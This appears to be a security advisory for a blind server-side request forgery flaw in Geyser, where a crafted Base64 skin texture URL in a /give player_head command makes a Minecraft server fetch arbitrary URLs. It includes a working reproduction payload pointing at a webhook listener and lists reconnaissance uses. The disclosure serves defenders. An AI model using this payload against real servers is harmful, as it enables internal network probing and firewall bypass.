A server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.
Geyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.
When a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution. However, the URL contained in the textures.SKIN.url field is not sufficiently validated.
Setup Environment:
Prepare Listener:
https://webhook.site/YOUR-UUID).Construct Payload:
{"textures":{"SKIN":{"url":"https://webhook.site/YOUR-UUID"}}}echo -n '{"textures":{"SKIN":{"url":"..."}}}' | base64)Execute Command:
/give @p minecraft:player_head[minecraft:profile={properties:[{name:"textures",value:"[PASTE_BASE64_HERE]"}]}]Verify:
This vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.
Although the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for: - Network mapping - Firewall bypass attempts - Cloud environment fingerprinting
{
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T20:03:16Z",
"cwe_ids": [
"CWE-918"
],
"severity": "LOW",
"nvd_published_at": null
}